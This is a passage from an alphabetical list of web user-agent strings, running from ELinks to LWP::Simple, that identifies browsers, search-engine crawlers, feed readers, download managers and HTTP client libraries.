198x78-3)\nELinks/0.11.1-1.4-debian (textmode; Linux 2.6.22-1-amd64 x86_64; 160x64-2)\nELinks/0.11.1-1.4-debian (textmode; Linux 2.6.22-2-686 i686; 64x24-2)\nELinks/0.11.1-1.5ubuntu1-debian (textmode; Linux 2.6.22-14-generic i686; 80x24-2)\nELinks/0.11.1-1.5ubuntu1-debian (textmode; Linux 2.6.22-14-generic i686; 80x24-3)\nELinks/0.11.1-1.5ubuntu1-debian (textmode; Linux 2.6.22-14-server i686; 157x41-2)\nELinks/0.11.2 (textmode; FreeBSD 6.2-RELEASE i386; 100x35-2)\nELinks/0.11.2 (textmode; FreeBSD 6.3-RELEASE-p2 i386; 126x44-2)\nELinks/0.11.2 (textmode; Linux 2.6.17.13 i686; 80x25-2)\nELinks/0.11.3 (textmode; Darwin 10.2.0 i386; 80x24-2)\nELinks/0.11.3 (textmode; Darwin 10.7.0 i386; 236x64-2)\nELinks/0.11.3 (textmode; Linux 2.6.23-ARCH x86_64; 141x29-2)\nELinks/0.11.3 (textmode; Linux; 80x24-2)\nELinks/0.11.3-5ubuntu2 (textmode; Debian; Linux 2.6.24-16-generic i686; 80x24-2)\nELinks/0.11.3-5ubuntu2 (textmode; Debian; Linux 2.6.24-19-generic i686; 181x51-2)\nELinks/0.11.3-5ubuntu2 (textmode; Debian; Linux 2.6.24-19-generic i686; 80x24-2)\nELinks/0.11.3-8ubuntu3 (textmode; Debian; Linux 2.6.27-11-generic i686; 80x25-2)\nELinks/0.11.3-8ubuntu3 (textmode; Debian; Linux 2.6.27-9-generic i686; 205x56-2)\nELinks/0.11.4 (textmode; Linux 2.6.26-2-amd64 x86_64; 158x62-2)\nELinks/0.11.4 (textmode; Linux; 80x24-2)\nELinks/0.11.4 (textmode;Linux;80x24-2)\nELinks/0.11.4-3 (textmode; Debian; Linux 2.6.26-1-sparc64 sparc64; 160x64-2)\nELinks/0.11.4-3-lite (textmode; Debian; Linux 2.6.26-1-686 i686; 80x24-2)\nELinks/0.11.4rc0 (textmode; Linux 2.6.20-16-server i686; 102x34-2)\nELinks/0.11.4rc1 (textmode; Darwin 8.11.0 Power Macintosh; 169x55-3)\nELinks/0.11.4rc1 (textmode; FreeBSD 7.0-RELEASE i386; 80x25-2)\nELinks/0.11.4rc1 (textmode; FreeBSD 7.1-RELEASE i386; 80x25-2)\nELinks/0.11.6 (textmode; Linux 2.2.26 i686; 119x51-2)\nELinks/0.11.6 (textmode; Linux 2.6.30-ARCH i686; 128x48-2)\nELinks/0.11.7 (textmode; FreeBSD 8.0-RC1 i386; 80x49-2)\nELinks/0.11.7 (textmode; Linux 2.6.32-fw3 i686; 143x53-2)\nELinks/0.12.GIT (textmode; Linux 2.6.21-1-686 i686; 198x78-3)\nELinks/0.12pre1.GIT\nELinks/0.12pre2 (textmode; Linux; 168x43-2)\nELinks/0.12pre5 (textmode; Linux; 157x60-2)\nELinks/0.12~pre2.dfsg0-1ubuntu1 (textmode; Debian; Linux 2.6.28-13-generic i686; 114x36-2)\nELinks/0.12~pre2.dfsg0-1ubuntu1 (textmode; Debian; Linux 2.6.28-14-generic i686; 120x36-2)\nELinks/0.12~pre2.dfsg0-1ubuntu1 (textmode; Debian; Linux 2.6.28-14-generic i686; 180x56-2)\nELinks/0.12~pre2.dfsg0-1ubuntu1 (textmode; Debian; Linux 2.6.28-15-generic i686; 80x24-3)\nELinks/0.12~pre2.dfsg0-1ubuntu1 (textmode; Debian; Linux 2.6.28-15-generic x86_64; 207x60-2)\nELinks/0.12~pre5-1-lite (textmode; Debian; Linux 2.6.31-1+e517a5e9 x86_64; 100x45-2)\nELinks/0.12~pre5-4\nELinks/0.12~pre5-8 (textmode; Debian; Linux 3.4.0-8.dmz.1-liquorix-amd64 x86_64; 67x35-3)\nELinks/0.13.GIT (textmode; Linux 2.6.22-2-686 i686; 148x68-3)\nELinks/0.13.GIT (textmode; Linux 2.6.22-3-686 i686; 104x48-2)\nELinks/0.13.GIT (textmode; Linux 2.6.22-3-686 i686; 84x37-2)\nELinks/0.13.GIT (textmode; Linux 2.6.24-1-686 i686; 138x60-2)\nELinks/0.13.GIT (textmode; Linux 2.6.24-1-686 i686; 175x65-2)\nELinks/0.13.GIT (textmode; Linux 2.6.26-rc7.1 i686; 119x68-3)\nELinks/0.13.GIT (textmode; Linux 2.6.27-rc6.git i686; 175x65-3)\nELinks/0.13.GIT (textmode; Linux 2.6.29 i686; 119x51-2)\nELinks/0.9.3 (textmode; Linux 2.6.11 i686; 79x24)\nELinks/0.9.3 (textmode; Linux 2.6.11-auditor-10 i686; 80x24)\nELinks/0.9.3 (textmode; Linux 2.6.9-kanotix-8 i686; 127x41)\nELinks/0.x.x (textmode; NetBSD 1.6.2 sparc; 132x43)\nEMPAS_ROBOT\nES.NET_Crawler/2.0 (http://search.innerprise.net/)\nESISmartSpider\nESurf15a 15\nEasyDL/3.xx\nEasyDL/3.xx http://keywen.com/Encyclopedia/Bot\nEchO!/2.0\nEducate Search VxB\nEgotoBot/4.8 (+http://www.egoto.com/about.htm)\nEldoS TimelyWeb/3.x\nElinks (0.3.2; Linux 2.4.20-13.8 i686)\nElinks (textmode)\nEmailSiphon\nEmailSpider\nEmailWolf 1.00\nEmeraldShield.com WebBot\nEmeraldShield.com WebBot (http://www.emeraldshield.com/webbot.aspx)\nEnaBot/1.x (http://www.enaball.com/crawler.html)\nEnfish Tracker\nEnigma Browser\nEnterprise_Search/1.0\nEnterprise_Search/1.0.xxx\nEnterprise_Search/1.00.xxx;MSSQL (http://www.innerprise.net/es-spider.asp)\nEroCrawler\nEsperanzaBot(+http://www.esperanza.to/bot/)\nEuripBot/0.x (+http://www.eurip.com) GetFile\nEuripBot/0.x (+http://www.eurip.com) GetRobots\nEuripBot/0.x (+http://www.eurip.com) PreCheck\nEurobot/1.0 (http://www.ayell.eu)\nEvaalSE - bot@evaal.com\nEverest-Vulcan Inc./0.1 (R&D project; host=e-1-24; http://everest.vulcan.com/crawlerhelp)\nEverest-Vulcan Inc./0.1 (R&D project; http://everest.vulcan.com/crawlerhelp)\nExabot-Images/1.0\nExabot-Test/1.0\nExabot/2.0\nExabot/3.0\nExactSearch\nExactSeek Crawler/0.1\nExalead NG/MimeLive Client (convert/http/0.120)\nExcalibur Internet Spider V6.5.4\nExecrawl/1.0 (Execrawl; http://www.execrawl.com/; bot@execrawl.com)\nExperimentalHenrytheMiragoRobot\nExpired Domain Sleuth\nExpress WebPictures (www.express-soft.com)\nExtractorPro\nExtreme Picture Finder\nEyeCatcher (Download-tipp.de)/1.0\nFANGCrawl/0.01\nFARK.com link verifier\nFAST Enteprise Crawler/6 (www dot fastsearch dot com)\nFAST Enterprise Crawler 6 (Experimental)\nFAST Enterprise Crawler 6 / Scirus scirus-crawler@fast.no; http://www.scirus.com/srsapp/contactus/\nFAST Enterprise Crawler 6 used by Cobra Development (admin@fastsearch.com)\nFAST Enterprise Crawler 6 used by Comperio AS (sts@comperio.no)\nFAST Enterprise Crawler 6 used by FAST (FAST)\nFAST Enterprise Crawler 6 used by Pages Jaunes (pvincent@pagesjaunes.fr)\nFAST Enterprise Crawler 6 used by Schibsted (webcrawl@schibstedsok.no)\nFAST Enterprise Crawler 6 used by Sensis.com.au Web Crawler (search_comments\\at\\sensis\\dot\\com\\dot\\au)\nFAST Enterprise Crawler 6 used by Singapore Press Holdings (crawler@sphsearch.sg)\nFAST Enterprise Crawler 6 used by WWU (wardi@uni-muenster.de)\nFAST Enterprise Crawler/6 (www.fastsearch.com)\nFAST Enterprise Crawler/6.4 (helpdesk at fast.no)\nFAST FirstPage retriever (compatible; MSIE 5.5; Mozilla/4.0)\nFAST MetaWeb Crawler (helpdesk at fastsearch dot com)\nFAST-WebCrawler/2.2.10 (Multimedia Search) (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)\nFAST-WebCrawler/2.2.6 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)\nFAST-WebCrawler/2.2.7 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no\nFAST-WebCrawler/2.2.8 (crawler@fast.no; http://www.fast.no/faq/faqfastwebsearch/faqfastwebcrawler.html)http://www.fast.no\nFAST-WebCrawler/3.2 test\nFAST-WebCrawler/3.3 (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)\nFAST-WebCrawler/3.4/Nirvana (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)\nFAST-WebCrawler/3.4/PartnerSite (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)\nFAST-WebCrawler/3.5 (atw-crawler at fast dot no; http://fast.no/support.php?c=faqs/crawler)\nFAST-WebCrawler/3.6\nFAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nFAST-WebCrawler/3.6/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)\nFAST-WebCrawler/3.6/FirstPage (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)\nFAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nFAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)\nFAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nFAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)\nFAST-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)\nFAST-WebCrawler/3.x Multimedia\nFAST-WebCrawler/3.x Multimedia (mm dash crawler at fast dot no)\nFDM 1.x\nFDM 2.x\nFFC Trap Door Spider\nFLATARTS_FAVICO\nFSurf15a 01\nFTB-Bot http://www.findthebest.co.uk/\nFaEdit/2.0.x\nFacebot\nFactbot 1.09 (see http://www.factbites.com/webmasters.php)\nFairAd Client\nFast Crawler Gold Edition\nFast PartnerSite Crawler\nFastBug http://www.ay-up.com\nFastCrawler 3.0.1 (crawler@1klik.dk)\nFastSearch Web Crawler for Verizon SuperPages (kevin.watters@fastsearch.com)\nFavIconizer\nFavOrg\nFavcollector/2.0 (info@favcollector.com http://www.favcollector.com/)\nFavorites Checking (http://campulka.net)\nFavorites Sweeper v.2.03\nFaxobot/1.0\nFeed Seeker Bot (RSS Feed Seeker http://www.MyNewFavoriteThing.com/fsb.php)\nFeed24.com\nFeed::Find/0.0x\nFeedChecker/0.01\nFeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP)\nFeedFetcher-Google; ( http://www.google.com/feedfetcher.html)\nFeedFetcher-Google; (+http://www.google.com/feedfetcher.html)\nFeedForAll rss2html.php v2\nFeedHub FeedDiscovery/1.0 (http://www.feedhub.com)\nFeedHub MetaDataFetcher/1.0 (http://www.feedhub.com)\nFeedZcollector v1.x (Platinum) http://www.feeds4all.com/feedzcollector\nFeedable/0.1 (compatible; MSIE 6.0; Windows NT 5.1)\nFeedfetcher-Google-iGoogleGadgets; (+http://www.google.com/feedfetcher.html)\nFeedfetcher-Google; (+http://www.google.com/feedfetcher.html)\nFeedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=13645798864011762265)\nFeedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=1992026586303346733)\nFeedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=375807642710480585)\nFeedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=8639390370582375869)\nFeedjit Favicon Crawler 1.0\nFeedreader 3.xx (Powered by Newsbrain)\nFeedshow/x.0 (http://www.feedshow.com; 1 subscriber)\nFeedshowOnline (http://www.feedshow.com)\nFeedster Crawler/3.0; Feedster, Inc.\nFelix - Mixcat Crawler (+http://mixcat.com)\nFilangy/0.01-beta (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)\nFilangy/1.0x (Filangy; http://www.filangy.com/filangyinfo.jsp?inc=robots.jsp; filangy-agent@filangy.com)\nFilangy/1.0x (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)\nFileHound x.x\nFiltrbox/1.0\nFindAnISP.com_ISP_Finder_v99a\nFindexa Crawler (http://www.findexa.no/gulesider/article26548.ece)\nFineBot\nFinjan-prefetch\nFirefly/1.0\nFirefly/1.0 (compatible; Mozilla 4.0; MSIE 5.5)\nFirefox\nFirefox (kastaneta03@hotmail.com)\nFirefox/2.0b1 SeaMonkey/1.1.1 Mozilla/5.0 Gecko/20061101\nFirefox_1.0.6 (kasparek@naparek.cz)\nFirstGov.gov Search - POC:firstgov.webmasters@gsa.gov\nFlapbot/0.7.2 (Flaptor Crawler; http://www.flaptor.com; crawler at flaptor period com)\nFlashGet\nFlexum spider\nFlexum/2.0\nFlickBot 2.0 RPT-HTTPClient/0.3-3\nFnooleBot/2.5.2 (+http://www.fnoole.com/addurl.html)\nFocusedSampler/1.0\nFolkd.com Spider/0.1 beta 1 (www.folkd.com)\nFollowSite Bot ( http://www.followsite.com/bot.html )\nFollowSite.com ( http://www.followsite.com/b.html )\nFooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots\nFrancis/1.0 (francis@neomo.de http://www.neomo.de/)\nFranklin Locator 1.8\nFreeFind.com-SiteSearchEngine/1.0 (http://freefind.com; spiderinfo@freefind.com)\nFrelicbot/1.0 +http://www.frelic.com/\nFreshDownload/x.xx\nFreshNotes crawler< report problems to crawler-at-freshnotes-dot-com\nFull Web Bot 0416B\nFull Web Bot 0516B\nFull Web Bot 2816B\nFuseBulb.Com\nFyberSpider\nFyberSpider (+http://www.fybersearch.com/fyberspider.php)\nGAIS Robot/1.0B2\nGNODSPIDER (www.gnod.net)\nGOFORITBOT ( http://www.goforit.com/about/ )\nGSiteCrawler/v1.06 rev. 251 (http://gsitecrawler.com/)\nGSiteCrawler/v1.12 rev. 260 (http://gsitecrawler.com/)\nGSiteCrawler/v1.20 rev. 273 (http://gsitecrawler.com/)\nGSiteCrawler/v1.xx rev. xxx (http://gsitecrawler.com/)\nGagglebot\nGaisbot/3.0 (indexer@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)\nGaisbot/3.0 (jerry_wu@openfind.com.tw; http://gais.cs.ccu.edu.tw/robot.php)\nGaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)\nGaisbot/3.0+(robot05@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php)\nGaisbot/3.0+(robot06@gais.cs.ccu.edu.tw;+http://gais.cs.ccu.edu.tw/robot.php)\nGalaxy/1.0 [en] (Mac OS X 10.5.6)\nGalaxy/1.0 [en] (Mac OS X 10.5.6; U; en)\nGalaxyBot/1.0 (http://www.galaxy.com/galaxybot.html)\nGallent Search Spider v1.4 Robot 2 (http://robot.GallentSearch.com)\nGamespy_Arcade\nGammaSpider/1.0\nGeneric Mobile Phone (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)\nGenesisBrowser (HTTP 1.1; 0.9; XP SP2; .NET CLR 2.0.50727)\nGeoBot/1.0\nGeoURLBot 1.0 (http://geourl.org)\nGeonaBot 1.x; http://www.geona.com/\nGetBot\nGetRight/3.x.x\nGetRight/4.5xx\nGetRight/4.x\nGetRight/4.x[a-e]\nGetRight/6.1 (Pro)\nGetRightPro/6.0beta2\nGetWeb/0.1 libwww-perl/5.16\nGhostRouteHunter/20021130 (https://www.sixxs.net/tools/grh/; info@sixxs.net)\nGigabot/1.0\nGigabot/2.0\nGigabot/2.0 (gigablast.com)\nGigabot/2.0 (http://www.gigablast.com/spider.html)\nGigabot/2.0/gigablast.com/spider.html\nGigabot/2.0; http://www.gigablast.com/spider.html\nGigabot/2.0att\nGigabot/3.0 (http://www.gigablast.com/spider.html)\nGigabot/x.0\nGigabotSiteSearch/2.0 (sitesearch.gigablast.com)\nGo!Zilla 3.x (www.gozilla.com)\nGo!Zilla/4.x.x.xx\nGo-Ahead-Got-It/1.1\nGoForIt.com\nGoGuides.Org Link Check\nGoblin/0.9 (http://www.goguides.org/)\nGoblin/0.9.x (http://www.goguides.org/goblin-info.html)\nGoldenFeed Spider 1.0 (http://www.goldenfeed.com)\nGoldfire Server\nGoofer/0.2\nGoogle Talk\nGooglebot-Image/1.0\nGooglebot-Image/1.0 ( http://www.googlebot.com/bot.html)\nGooglebot-News\nGooglebot-Video/1.0\nGooglebot/2.1 ( http://www.google.com/bot.html)\nGooglebot/2.1 ( http://www.googlebot.com/bot.html)\nGooglebot/2.1 (+http://www.google.com/bot.html)\nGooglebot/2.1 (+http://www.googlebot.com/bot.html)\nGooglebot/Test ( http://www.googlebot.com/bot.html)\nGordon's Spider/Nutch-0.9 (http://www.sharethis.com; gordon@sharethis.com)\nGrapeFX/0.3 libwww/5.4.0\nGreatNews/1.0\nGreenBrowser\nGregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)\nGregarius/0.5.2 (+http://devlog.gregarius.net/docs/ua)\nGrigorBot 0.8 (http://www.grigor.biz/bot.html)\nGromit/1.0\nGuestbook Auto Submitter\nGulliver/1.3\nGulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)\nGungho/0.08004 (http://code.google.com/p/gungho-crawler/wiki/Index)\nGurujiBot/1.0 (+http://www.guruji.com/WebmasterFAQ.html)\nGurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)\nGurujiImageBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)\nHLoader\nHPL/Nutch-0.9 -\nHTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0\nHTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5  (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1\nHTC_HD2_T8585 Opera/9.70 (Windows NT 5.1; U; de)\nHTC_Touch_3G Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)\nHTML2JPG Blackbox, http://www.html2jpg.com\nHTML2JPG Enterprise\nHTMLParser/1.6\nHTMLParser/1.x\nHTTP Retriever\nHTTP::Lite/2.x.x\nHTTPEyes\nHTTPResume v. 1.x\nHaier-T10C/1.0 iPanel/2.0 WAP2.0 (compatible; UP.Browser/6.2.2.4; UPG1; UP/4.0; Embedded)\nHappyFunBot/1.1\nHappyFunBot/1.1 ( http://www.happyfunsearch.com/bot.html)\nHarvest-NG/1.0.2\nHaste/0.12 (HOME: http://haste.kytoon.com/)\nHatena Antenna/0.4 (http://a.hatena.ne.jp/help#robot)\nHatena Mobile Gateway/1.0\nHatena Pagetitle Agent/1.0\nHatena RSS/0.3 (http://r.hatena.ne.jp)\nHatenaScreenshot/1.0 (checker)\nHeinrichderMiragoRobot\nHeinrichderMiragoRobot (http://www.miragorobot.com/scripts/deinfo.asp)\nHelix/1.x ( http://www.sitesearch.ca/helix/)\nHenriLeRobotMirago (http://www.miragorobot.com/scripts/frinfo.asp)\nHenryTheMiragoRobot (http://www.miragorobot.com/scripts/mrinfo.asp)\nHenrytheMiragoRobot\nHi! I'm CsCrawler my homepage: http://www.kde.cs.uni-kassel.de/lehre/ss2005/googlespam/crawler.html RPT-HTTPClient/0.3-3\nHiDownload\nHippias/0.9 Beta\nHitList\nHitwise Spider v1.0 http://www.hitwise.com\nHolmesBot (http://holmes.ge)\nHomePageSearch(hpsearch.uni-trier.de)\nHomerbot: www.homerweb.com\nHonda-Search/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; search@honda-search.com)\nHooWWWer/2.1.3 (debugging run) (+http://cosco.hiit.fi/search/hoowwwer/ | mailto:crawler-info<at>hiit.fi)\nHooWWWer/2.1.x ( http://cosco.hiit.fi/search/hoowwwer/ | mailto:crawler-info<at>hiit.fi)\nHotJava/1.0.1/JRE1.1.x\nHotJava/1.1.2 FCS\nHotzonu/x.0\nHtml Link Validator (www.lithopssoft.com)\nHybrid/1.2 [en] (OS Independent)\nHyperEstraier/1.x.xx\nIAArchiver-1.0\nIBM WebExplorer /v0.94\nIBrowse/2.2 (AmigaOS 3.5)\nIBrowse/2.2 (Windows 3.1)\nIBrowse/2.3 (AmigaOS 3.9)\nIBrowse/2.4 (AmigaOS 3.9; 68K)\nIBrowse/2.4demo (AmigaOS 3.9; 68K)\nICC-Crawler(Mozilla-compatible; http://kc.nict.go.jp/icc/crawl.html; icc-crawl(at)ml(dot)nict(dot)go(dot)jp)\nICC-Crawler(Mozilla-compatible;http://kc.nict.go.jp/icc/crawl.html;icc-crawl-contact(at)ml(dot)nict(dot)go(dot)jp)\nICCrawler - ICjobs (http://www.icjobs.de/bot.htm)\nICE Browser/5.05 (Java 1.4.0; Windows 2000 5.0 x86)\nICOO Loader v.x.x.x\nICRA_label_spider/x.0\nIDA\nIEFav172Free\nIIITBOT/1.1 (Indian Language Web Search Engine; http://webkhoj.iiit.net; pvvpr at iiit dot ac dot in)\nINFOMINE/8.0 Adders\nINFOMINE/8.0 RemoteServices\nINFOMINE/8.0 VLCrawler (http://infomine.ucr.edu/useragents)\nINGRID/3.0 MT (webcrawler@NOSPAMexperimental.net; http://webmaster.ilse.nl/jsp/webmaster.jsp)\nIOI/2.0 (ISC Open Index crawler; http://index.isc.org/; bot@index.isc.org)\nIP*Works! V5 HTTP/S Component - by /n software - www.nsoftware.com\nIP2MapBot/1.1 <a href=http://www.ip2map.com>http://www.ip2map.com</a>\nIPiumBot laurion(dot)com\nIRLbot/1.0 ( http://irl.cs.tamu.edu/crawler)\nIRLbot/2.0 ( http://irl.cs.tamu.edu/crawler)\nIRLbot/2.0 (+http://irl.cs.tamu.edu/crawler)\nIRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)\nIRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)\nIRLbot/3.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler/)\nISC Systems iRc Search 2.1\nIUPUI Research Bot v 1.9a\nIWAgent/ 1.0 - www.brandprotect.com\nIceape\nIceweasel\nIconSurf/2.0 favicon finder (see http://iconsurf.com/robot.html)\nIconSurf/2.0 favicon monitor (see http://iconsurf.com/robot.html)\nIlTrovatore-Setaccio ( http://www.iltrovatore.it)\nIlTrovatore-Setaccio/1.2 ( http://www.iltrovatore.it/aiuto/faq.html)\nIlTrovatore/1.2 (IlTrovatore; http://www.iltrovatore.it/bot.html; bot@iltrovatore.it)\nIlseBot/1.x\nIltrovatore-Setaccio/0.3-dev (Indexing; http://www.iltrovatore.it/bot.html; info@iltrovatore.it)\nIltrovatore-Setaccio/1.2 (It-bot; http://www.iltrovatore.it/bot.html; info@iltrovatore.it)\nImageVisu/v4.x.x\nImageWalker/2.0 (www.bdbrandprotect.com)\nIncutio HttpClient v0.x\nIncyWincy data gatherer(webmaster@loopimprovements.com\nIncyWincy page crawler(webmaster@loopimprovements.com\nIncyWincy(http://www.look.com)\nIncyWincy(http://www.loopimprovements.com/robot.html)\nIncyWincy/2.1(loopimprovements.com/robot.html)\nIndexTheWeb.com Crawler7\nIndustry Program 1.0.x\nInet library\nInetURL/1.0\nInfoFly/1.0 (http://www.versions-project.org/)\nInfoLink/1.x\nInfoNaviRobot(F107)\nInfoSeek Sidewinder/0.9\nInfoSeek Sidewinder/1.0A\nInfoSeek Sidewinder/1.1A\nInfoWizards Reciprocal Link System PRO - (http://www.infowizards.com)\nInfoaxe./Nutch-0.9\nInfoseek SideWinder/1.45 (Compatible; MSIE 10.0; UNIX)\nInfoseek SideWinder/2.0B (Linux 2.4 i686)\nInktomi Search\nInnerpriseBot/1.0 (http://www.innerprise.com/)\nInsitor.com search and find world wide!\nInsitornaut\nInstallShield DigitalWizard\nIntelix/0.x (cs; http://www.microton.cz/intelix/; microton@@microton.cz)\nInterarchy/x.x.x (InterarchyCrawler)\nInternet Ninja x.0\nInternetArchive/0.8-dev(Nutch;http://lucene.apache.org/nutch/bot.html;nutch-agent@lucene.apache\nInternetLinkAgent/3.1\nInternetSeer.com\nIpselonBot/0.xx-beta (Ipselon; http://www.ipselon.com; ipselonbot@ipselon.com)\nIria/1.xxa\nIron/2.0.168.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/530.1 (KHTML, like Gecko)\nIrssiUrlLog/0.2\nIrvine/1.x.x\nIssueCrawler\nJ-PHONE/3.0/J-SH07\nJBH Agent 2.0\nJCheckLinks/0.1 RPT-HTTPClient/0.3-1\nJDK/1.1\nJOC Web Spider\nJRTS Check Favorites Utility\nJRTwine Software Check Favorites Utility\nJabot/6.x (http://odin.ingrid.org/)\nJabot/7.x.x (http://odin.ingrid.org/)\nJack\nJakarta Commons-HttpClient/2.0xxx\nJakarta Commons-HttpClient/3.0-rcx\nJambot/0.1.x (Jambot; http://www.jambot.com/blog; crawler@jambot.com)\nJambot/0.2.1 (Jambot; http://www.jambot.com/blog/static.php?page=webmaster-robot; crawler@jambot.com)\nJava 1.1\nJava/1.4.1\nJava/1.4.1-p3\nJava/1.4.1_01\nJava/1.4.1_01a\nJava/1.4.1_02\nJava/1.4.1_03\nJava/1.4.1_04\nJava/1.4.2\nJava/1.4.2_01\nJava/1.4.2_03\nJava/1.4.2_04\nJava/1.4.2_05\nJava/1.4.2_07\nJava/1.4.2_08\nJava/1.4.2_09\nJava/1.4.2_10\nJava/1.4.2_11\nJava/1.5.0\nJava/1.5.0_01\nJava/1.5.0_02\nJava/1.5.0_03\nJava/1.5.0_04\nJava/1.5.0_05\nJava/1.5.0_06\nJava/1.5.0_08\nJava/1.5.0_11\nJava/1.6.0-beta\nJava/1.6.0_02\nJava/1.6.0_03\nJava/1.6.0_04\nJava/1.6.0_11\nJava/1.6.0_12\nJava/1.6.0_13\nJava/1.6.0_26\nJava1.0.21.0\nJava1.1.xx.x\nJava1.2.1\nJava1.2.2\nJava1.2.2-JDeveloper\nJava1.3.0\nJava1.3.0rc1\nJava1.3.1\nJava1.3.1_04\nJava1.3.1_06\nJava1.3.x\nJava1.4.0\nJava1.4.0_01\nJava1.4.0_02\nJava1.4.0_03\nJava1.4.2_03\nJaxified Bot (+http://www.jaxified.com/crawler/)\nJayde Crawler. http://www.jayde.com\nJeode/1.x.x\nJetBrains Omea Reader 1.0.x (http://www.jetbrains.com/omea_reader/)\nJetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omea_reader/)\nJetCar\nJetbot/1.0\nJigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0\nJigsaw/2.2.x W3C_CSS_Validator_JFouffa/2.0\nJoBo/1.x (http://www.matuschek.net/jobo.html)\nJoBo/@JOBO_VERSION@(http://www.matuschek.net/jobo.html)\nJobSpider_BA/1.1\nJordoMedia/1.0 RSS File Reader (http://www.jordomedia.com)\nJournster [alpha] (http://journster.com/)\nJournster.com RSS/Atom aggregator 0.5 (http://www.journster.com/bot.phtml)\nJyxobot/1\nJyxobot/x\nK-Meleon/0.6 (Windows; U; Windows NT 5.1; en-US; rv:0.9.5) Gecko/20011011\nKAIST AITrc Crawler\nKDDI-SN22 UP.Browser/6.0.7 (GUI) MMP/1.1 (Google WAP Proxy/1.0)\nKE_1.0/2.0 libwww/5.2.8\nKFSW-Bot (Version: 1.01 powered by KFSW www.kfsw.de)\nKIT-Fireball/2.0\nKIT-Fireball/2.0 (compatible; Mozilla 4.0; MSIE 5.5)\nKSbot/1.0 (KnowledgeStorm crawler; http://www.knowledgestorm.com/resources/content/crawler/index.html; crawleradmin@knowledgestorm.com)\nKWC-KX9/1109 UP.Browser/6.2.3.9.g.1.107 (GUI) MMP/2.0 UP.Link/6.3.0.0.0\nKakleBot - www.kakle.com/0.1 (KakleBot - www.kakle.com; http:// www.kakle.com/bot.html; support@kakle.com)\nKapere (http://www.kapere.com)\nKazehakase/0.x.x.[x]\nKenjin Spider\nKevin http://dznet.com/kevin/\nKevin http://websitealert.net/kevin/\nKlondike/1.50 (WSP Win32) (Google WAP Proxy/1.0)\nKnowItAll(knowitall@cs.washington.edu)\nKnowledge.com/0.x\nKonqueror/3.0-rc4; (Konqueror/3.0-rc4; i686 Linux;;datecode)\nKontiki Client x.xx\nKrugle/Krugle,Nutch/0.8+ (Krugle web crawler; http://www.krugle.com/crawler/info.html; webcrawler@krugle.com)\nKummHttp/1.1 (compatible; KummClient; Linux rulez)\nL.webis/0.87 (http://webalgo.iit.cnr.it/index.php?pg=lwebis)\nLARBIN-EXPERIMENTAL (efp@gmx.net)\nLARBIN-EXPERIMENTAL efp@gmx.net\nLECodeChecker/3.0 libgetdoc/1.0\nLEIA/2.90\nLEIA/3.01pr (LEIAcrawler; [SNIP])\nLG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1\nLG-LX260 POLARIS-LX260/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1\nLG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1\nLG/U8138/v1.0\nLMQueueBot/0.2\nLNSpiderguy\nLTI/LemurProject Nutch Spider/Nutch-1.0-dev (Research spider using Nutch; http://www.lemurproject.org; mhoy@cs.cmu.edu)\nLTI/LemurProject Nutch Spider/Nutch-1.0-dev (lti crawler for CMU; http://www.lti.cs.cmu.edu; changkuk at cmu dot edu)\nLWP::Simple/5.22\nLWP::Simple/5.36\nLWP::Simple/5.48\nLWP::Simple/5.50\nLWP::Simple/5.51\nLWP::Simple/5.53\nLWP::Simple/5.63\nLWP::Simple/5.803\nLabrador/0.2; http://ir.dcs.gla.ac.uk/labrador; 